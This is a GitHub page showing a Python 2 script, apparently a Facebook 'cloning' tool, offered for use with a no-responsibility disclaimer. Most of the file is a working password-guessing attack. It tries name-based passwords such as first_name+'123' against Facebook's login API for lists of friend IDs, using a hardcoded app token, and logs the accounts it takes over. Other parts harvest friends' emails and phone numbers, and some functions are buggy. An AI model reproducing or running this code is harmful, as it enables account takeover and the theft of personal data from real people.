-
Notifications
You must be signed in to change notification settings - Fork 139
/
.wasii.py
757 lines (679 loc) · 27.6 KB
/
.wasii.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
# Tool : Wasii ( Facebook cloning tool)
# Author : Waseem Akram ( hackerwasii )
# github : https://github.com/evildevill
# Note : we are not responsible for any misuse
try:
import os, sys, time, datetime, random, hashlib, re, threading, json, urllib, cookielib, getpass, mechanize, requests
from multiprocessing.pool import ThreadPool
from requests.exceptions import ConnectionError
from mechanize import Browser
except ImportError:
os.system('pip2 install requests')
os.system('pip2 install mechanize')
os.system('python2 wasi.py')
reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [('user-agent', 'Dalvik/1.6.0 (Linux; U; Android 4.4.2; NX55 Build/KOT5506) [FBAN/FB4A;FBAV/106.0.0.26.68;FBBV/45904160;FBDM/{density=3.0,width=1080,height=1920};FBLC/it_IT;FBRV/45904160;FBCR/PosteMobile;FBMF/asus;FBBD/asus;FBPN/com.facebook.katana;FBDV/ASUS_Z00AD;FBSV/5.0;FBOP/1;FBCA/x86:armeabi-v7a;]')]
def exit():
print '[!] Exit'
os.sys.exit()
def acak(b):
w = 'ahtdzjc'
d = ''
for i in x:
d += '!' + w[random.randint(0, len(w) - 1)] + i
return cetak(d)
def cetak(b):
w = 'ahtdzjc'
for i in w:
j = w.index(i)
x = x.replace('!%s' % i, '\x1b[%s;1m' % str(31 + j))
x += '\x1b[0m'
x = x.replace('!0', '\x1b[0m')
sys.stdout.write(x + '\n')
def wasii(z):
for e in z + '\n':
sys.stdout.write(e)
sys.stdout.flush()
time.sleep(0.03)
def hopss(z):
for e in z + '\n':
sys.stdout.write(e)
sys.stdout.flush()
time.sleep(0.1)
banner = '\n\x1b[1;95mTool By Hacker wasii\n We are not responsible for any \nillegal activity\n \n'
def tik():
titik = [
'. ', '.. ', '... ']
for o in titik:
print '\r[\xe2\x9c\x94] \x1b[1;92mLogging In ' + o,
sys.stdout.flush()
time.sleep(1)
back = 0
threads = []
successful = []
checkpoint = []
oks = []
gagal = []
idh = []
id = []
emfromfriend = []
nofromfriend = []
def menu():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
os.system('clear')
print '[!] \x1b[1;91mToken Not Found'
os.system('rm -rf login.txt')
time.sleep(1)
os.system('python2 wasi.py')
try:
otw = requests.get('https://graph.facebook.com/me?access_token=' + toket)
a = json.loads(otw.text)
name = a['name']
id = a['id']
except KeyError:
os.system('clear')
print '[!] \x1b[1;91mAccount Is On Checkpoint'
os.system('rm -rf login.txt')
time.sleep(1)
os.system('python2 wasi.py')
except requests.exceptions.ConnectionError:
print '[!] No Connection'
time.sleep(1)
os.system('clear')
print banner
print '|[\xe2\x9c\x93] \x1b[1;96mName: ' + name
print '|[\xe2\x9c\x93] \x1b[1;96mID : ' + id
print 47 * '-'
print '[1] \x1b[1;95mStart Cloning.'
print '[2] \x1b[1;95mClone With Pass Choice.'
print '[3] \x1b[1;95mGrabbing ids Tools.'
print '[4] \x1b[1;95mAuto Delete Tools.'
print '[5] \x1b[1;95mUpdate Tool.'
print '[6] \x1b[1;95mFollow Me On Youtube.'
print '[7] Logout'
print ' '
men()
def men():
rana = raw_input('Choose Option >> ')
if rana == '':
print ' \x1b[1;91mWrong Input'
men()
elif rana == '1':
crack()
elif rana == '2':
os.system('clear')
wasii('[!] \x1b[1;92mPlease Wait While Page Is Loding.')
hopss('10%..Wait.')
hopss('20%.5..')
hopss('50%..4.')
hopss('70%.3..')
hopss('90%..2.')
hopss('95%..Done.')
os.system('python2 .opt.py')
time.sleep(1)
elif rana == '3':
grab()
elif rana == '4':
bot()
elif rana == '5':
os.system('clear')
print banner
wasii('[\xe2\x9c\x93] \x1b[1;92mPlease Wait While Tool Is Updating')
os.system('git pull origin master')
wasii('[\xe2\x9c\x93] \x1b[1;92mTool Has Been Update Successfully')
wasii('[\xe2\x9c\x93] \x1b[1;92mPlease Wait While Update Is Setting Up On Your Mobile Phone')
time.sleep(3)
os.wasii('python2 wasi.py')
elif rana == '6':
os.system('xdg-open https://www.youtube.com/channel/HackerWasii')
menu()
elif rana == '7':
os.system('rm -rf login.txt')
wasii('[\xe2\x9c\x93] Logged Out Successfully')
os.system('python2 wasi.py')
else:
print '[!] \x1b[1;91mWrong Input'
men()
def crack():
global toket
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91mToken invalid'
os.system('rm -rf login.txt')
time.sleep(1)
os.system('python2 wasi.py')
os.system('clear')
print banner
print '[1] \x1b[1;93mClone From Friendlist.'
print '[2] \x1b[1;93mClone From Any Public ID.'
print '[3] \x1b[1;93mClone From File.'
print '[0] Back.'
crack_menu()
def crack_menu():
global oks
crm = raw_input('Choose Option >> ')
if crm == '':
print '[!] Filled Incorrectly'
crack_menu()
elif crm == '1':
os.system('clear')
print banner
r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
z = json.loads(r.text)
for s in z['data']:
id.append(s['id'])
elif crm == '2':
os.system('clear')
print banner
idt = raw_input('[+] Input ID: ')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
wasii('\x1b[1;97m[\xe2\x9c\x93] \x1b[1;95mAccount Name \x1b[1;97m:\x1b[1;97m ' + op['name'])
except KeyError:
print '[!] \x1b[1;91mID Not Found!'
raw_input('\nPress Enter To Back ')
crack()
r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
z = json.loads(r.text)
for i in z['data']:
id.append(i['id'])
elif crm == '3':
os.system('clear')
print banner
try:
idlist = raw_input('[+] File Name: ')
for line in open(idlist, 'r').readlines():
id.append(line.strip())
except IOError:
print '[!] \x1b[1;91mFile Not Found.'
raw_input('Press Enter To Back. ')
crack()
elif crm == '0':
menu()
else:
print 'Filled Incorrectly'
crack_menu()
wasii('[\xe2\x9c\x93] \x1b[1;96mTotal Friends: ' + str(len(id)))
time.sleep(0.5)
wasii('[\xe2\x9c\x93] \x1b[1;96mThe Process Has Been Started.')
time.sleep(0.5)
wasii('[!] \x1b[1;96mTo Stop Process Press CTRL Then Z')
time.sleep(0.5)
print 47 * '-'
def main(arg):
user = arg
try:
os.mkdir('save')
except OSError:
pass
try:
a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket)
b = json.loads(a.text)
pass1 = '786786'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass1
oks.append(user + pass1)
elif 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass1
crt = open('save/checkpoint.txt', 'a')
crt.write(user + '|' + pass1 + '\n')
crt.close()
checkpoint.append(user + pass1)
else:
pass2 = 'Pakistan'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass2
oks.append(user + pass2)
elif 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass2
crt = open('save/checkpoint.txt', 'a')
crt.write(user + '|' + pass2 + '\n')
crt.close()
checkpoint.append(user + pass2)
else:
pass3 = b['first_name'] + '786'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass3
oks.append(user + pass3)
elif 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass3
crt = open('save/checkpoint.txt', 'a')
crt.write(user + '|' + pass3 + '\n')
crt.close()
checkpoint.append(user + pass3)
else:
pass4 = b['first_name'] + '123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass4
oks.append(user + pass4)
elif 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass4
crt = open('save/checkpoint.txt', 'a')
crt.write(user + '|' + pass4 + '\n')
crt.close()
checkpoint.append(user + pass4)
else:
pass5 = b['first_name'] + '12345'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass5 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass5
oks.append(user + pass5)
elif 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass5
crt = open('save/checkpoint.txt', 'a')
crt.write(user + '|' + pass5 + '\n')
crt.close()
checkpoint.append(user + pass5)
else:
pass6 = b['first_name'] + '1122'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass6 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass6
oks.append(user + pass6)
elif 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass6
crt = open('save/checkpoint.txt', 'a')
crt.write(user + '|' + pass6 + '\n')
crt.close()
checkpoint.append(user + pass6)
else:
pass7 = b['last_name'] + '786'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass7 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass7
oks.append(user + pass7)
elif 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass7
crt = open('save/checkpoint.txt', 'a')
crt.write(user + '|' + pass7 + '\n')
crt.close()
checkpoint.append(user + pass7)
except:
pass
p = ThreadPool(30)
p.map(main, id)
print '\x1b[1;97m----------------------------------------------'
wasii('[\xe2\x9c\x93] \x1b[1;92mProcess Has Been Completed.')
wasii('\x1b[1;93m[\xe2\x9c\x93] \x1b[1;92mCheckpoint IDS Has Been Saved.')
xx = str(len(oks))
xxx = str(len(checkpoint))
print '[\xe2\x9c\x93] Total \x1b[1;93mOK/\x1b[1;96mCP : \x1b[1;93m' + str(len(oks)) + '/\x1b[1;97m' + str(len(checkpoint))
print 47 * '-'
raw_input('\nPress Enter To Back ')
menu()
def grab():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '[!] Token Not Found'
os.system('rm -rf login.txt')
time.sleep(1)
os.system('python2 wasi.py')
os.system('clear')
print banner
print '[1]\x1b[1;94m Extract Numeric IDs From Public ID.'
print "[2]\x1b[1;94m Extract Email's From Public ID."
print '[3]\x1b[1;94m Extract Phone Number From Public ID.'
print '[0] Back.'
print ' '
grab_menu()
def grab_menu():
grm = raw_input('\nChoose Option >> ')
if grm == '':
print ' Wrong Input'
grab_menu()
elif grm == '1':
idfromfriend()
elif grm == '2':
emailfromfriend()
elif grm == '3':
numberfromfriend()
elif grm == '0':
menu()
else:
print '[!] Wrong input'
grab_menu()
def idfromfriend():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '[!] Token Not Found'
os.system('rm -rf login.txt')
time.sleep(1)
try:
os.mkdir('save')
except OSError:
pass
try:
os.system('clear')
print banner
idt = raw_input('[+] Input ID : ')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
print '[\xe2\x9c\x93]\x1b[1;92m Account Name : ' + op['name']
except KeyError:
print '[!] Friend Not Found'
raw_input('Press Enter To Back ')
grab()
r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket)
z = json.loads(r.text)
wasii('[\xe2\x9c\x93] \x1b[1;92mGetting Friends Numeric IDs...')
print '--------------------------------------'
bz = open('save/id.txt', 'w')
for a in z['friends']['data']:
idh.append(a['id'])
bz.write(a['id'] + '\n')
print '\r[' + str(len(idh)) + ' ] => ' + a['id'],
sys.stdout.flush()
time.sleep(0.001)
bz.close()
print '\r[\xe2\x9c\x93] The Process Has Been Completed.'
print '\r[\xe2\x9c\x93] Total IDs Founded : ' + str(len(idh))
done = raw_input('\r[?] Save File With Name : ')
print '\r[\xe2\x9c\x93] The File Has Been Saved As save/' + done
raw_input('\nPress Enter To Back ')
grab()
except IOError:
print '[!] Error While Creating file'
raw_input('\nPress Enter To Back ')
grab()
except (KeyboardInterrupt, EOFError):
print '[!]The Process Has Been Stopped'
raw_input('\nPress Enter To Back ')
grab()
except KeyError:
print '[!] Error'
raw_input('\nPress Enter To Back ')
grab()
except requests.exceptions.ConnectionError:
print '[\xe2\x9c\x96] No Connection'
time.sleep(1)
grab()
def emailfromfriend():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '[!] Token Not Found'
os.system('rm -rf login.txt')
time.sleep(1)
os.system('python2 wasi.py')
try:
os.mkdir('save')
except OSError:
pass
try:
os.system('clear')
print banner
idt = raw_input('[+] Input ID : ')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
print '[\xe2\x9c\x93] \x1b[1;92mAccount Name : ' + op['name']
except KeyError:
print '[!] Account Not Found'
raw_input('\nPress Enter To Back ')
grab()
r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
a = json.loads(r.text)
wasii('[\xe2\x9c\x93] \x1b[1;92mGetting Emails From')
print 40 * '\x1b[1;97m-'
bz = open('save/email.txt', 'w')
for i in a['data']:
x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
emfromfriend.append(z['email'])
bz.write(z['email'] + '\n')
print '\r\x1b[1;97m[ \x1b[1;97m' + str(len(emfromfriend)) + '\x1b[1;97m ]\x1b[1;97m \x1b[1;97m' + z['email'] + ' | ' + z['name'] + '\n',
sys.stdout.flush()
time.sleep(0.0001)
except KeyError:
pass
bz.close()
print '----------------------------------'
print '\r[\xe2\x9c\x93] Successfully Extracted Mails'
print '\r[\xe2\x9c\x93] Total Mail Founded : ' + str(len(emfromfriend))
done = raw_input('\r\x1b[1;97m[\xe2\x9c\x93] \x1b[1;97mSave File With Name\x1b[1;97m :\x1b[1;97m ')
print '\r[\xe2\x9c\x93] File Has Been Saved As : save/' + done
raw_input('\nPress Enter To Back ')
grab()
except IOError:
print '[!] Error While Creating file'
raw_input('\nPress Enter To Back ')
grab()
except (KeyboardInterrupt, EOFError):
print '[!] Process Has Been Stopped'
raw_input('\nPress Enter To Back ')
grab()
except KeyError:
print '[!] Error'
raw_input('\nPress Enter To Back ')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;97m[\xe2\x9c\x96] No Connection'
time.sleep(1)
grab()
def numberfromfriend():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '[!] Token Not Found'
os.system('rm -rf login.txt')
time.sleep(1)
os.system('python2 wasi.py')
try:
os.mkdir('save')
except OSError:
pass
try:
os.system('clear')
print banner
idt = raw_input('[+] Input ID : ')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
print '[\xe2\x9c\x93] \x1b[1;92mAccount Name : ' + op['name']
except KeyError:
print '[!] Friend Not Found'
raw_input('\nPress Enter To Back ')
grab()
r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
a = json.loads(r.text)
wasii('[\xe2\x9c\x93] \x1b[1;92mGetting All Numbers')
print 40 * '\x1b[1;97m-'
bz = open('save/number.txt', 'w')
for i in a['data']:
x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
nofromfriend.append(z['mobile_phone'])
bz.write(z['mobile_phone'] + '\n')
print '\r\x1b[1;97m[ \x1b[1;97m' + str(len(nofromfriend)) + '\x1b[1;97m ]\x1b[1;97m \x1b[1;97m' + z['mobile_phone'] + ' | ' + z['name'] + '\n',
sys.stdout.flush()
time.sleep(0.001)
except KeyError:
pass
bz.close()
print '-----------------------------------'
print '\r[\xe2\x9c\x93] Total Number Founded : ' + str(len(nofromfriend))
done = raw_input('\r[?] Save File With Name: ')
print '\r[\xe2\x9c\x93] File Has Been Saved As save/' + done
raw_input('\nPress Enter To Back ')
grab()
except IOError:
print '[!] Error While Creating file'
raw_input('\nPress Enter To Back ')
grab()
except (KeyboardInterrupt, EOFError):
print '[!]The Process Has Been Stopped'
raw_input('\nPress Enter To Back')
grab()
except KeyError:
print '[!] Error'
raw_input('\nPress Enter To Back ')
grab()
except requests.exceptions.ConnectionError:
print '\n[\xe2\x9c\x96] No Connection'
time.sleep(1)
grab()
def bot():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
os.system('python2 wasi.py')
os.system('clear')
print banner
print '[1]\x1b[1;92m Auto Delete Posts.'
print '[2]\x1b[1;92m Auto Accept Friend Requests.'
print '[3] \x1b[1;92mAuto Unfriend All.'
print '[0] Back.'
print ' '
bot_menu()
def bot_menu():
bots = raw_input('\nChoose Option >> ')
if bots == '':
print '[!] Wrong Input'
bot_menu()
elif bots == '1':
deletepost()
elif bots == '2':
accept()
elif bots == '3':
unfriend()
elif bots == '0':
menu()
else:
print '[!] Wrong Input'
bot_menu()
def deletepost():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
nam = requests.get('https://graph.facebook.com/me?access_token=' + toket)
lol = json.loads(nam.text)
name = lol['name']
except IOError:
print '[!] Token Not Found'
os.system('rm -rf login.txt')
time.sleep(0.1)
os.system('python2 wasi.py')
os.system('clear')
print banner
print '[\xe2\x9c\x93] \x1b[1;92mAccount Name : ' + nama
wasii('[\xe2\x9c\x93] \x1b[1;92mThe Process Has Been Started')
print 40 * '-'
asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket)
asus = json.loads(asu.text)
for p in asus['data']:
id = p['id']
piro = 0
url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket)
ok = json.loads(url.text)
try:
error = ok['error']['message']
print '\x1b[1;97m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;97m] \x1b[1;97m[!] Failed'
except TypeError:
print '\x1b[1;97m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;97m \x1b[1;97[\xe2\x9c\x93] [Deleted]'
piro += 1
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[!] Connection Error'
raw_input('\nPress Enter To Back ')
bot()
print 40 * '-'
print '[\xe2\x9c\x93] The Process Has Been Completed. '
raw_input('\nPress Enter To Back ')
bot()
def accept():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '[!] Token Not Found'
os.system('rm -rf login.txt')
time.sleep(1)
os.system('python2 wasi.py')
os.system('clear')
print banner
limit = raw_input('[+]\x1b[1;92m Enter Limit To Accept Requests : ')
r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket)
teman = json.loads(r.text)
if '[]' in str(teman['data']):
print 'No friend Request'
raw_input('Press Enter To Back ')
bot()
wasii('[\xe2\x9c\x93] The Process Has Been Start')
print 40 * '-'
for i in teman['data']:
gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket)
a = json.loads(gas.text)
if 'error' in str(a):
print '[!] [Failed] | ' + i['from']['name']
else:
print '[!] [Accepted] | ' + i['from']['name']
print 40 * '-'
print '[\xe2\x9c\x93] The Process Has Been Completed.'
raw_input('\nPress Enter To Back ')
bot()
def unfriend():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '[!] Token Not Found'
os.system('rm -rf login.txt')
time.sleep(1)
os.system('python2 wasi.py')
os.system('clear')
print banner
wasii('[\xe2\x9c\x93] The Process Has Been Started.')
print '[\xe2\x9c\x93] Press CTRL Z to Stop Process.'
print 50 * '-'
try:
pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
cok = json.loads(pek.text)
for i in cok['data']:
name = i['name']
id = i['id']
requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket)
print '[\xe2\x9c\x93]\x1b[1;92m [Unfriended] | ' + name
except IndexError:
pass
except KeyboardInterrupt:
print '[!]The Process Has Been Stopped'
raw_input('\n Press Enter To Back ')
bot()
print '[\xe2\x9c\x93] The Process Has Been Completed.'
raw_input('Press Enter To Back ')
bot()
if __name__ == '__main__':
menu()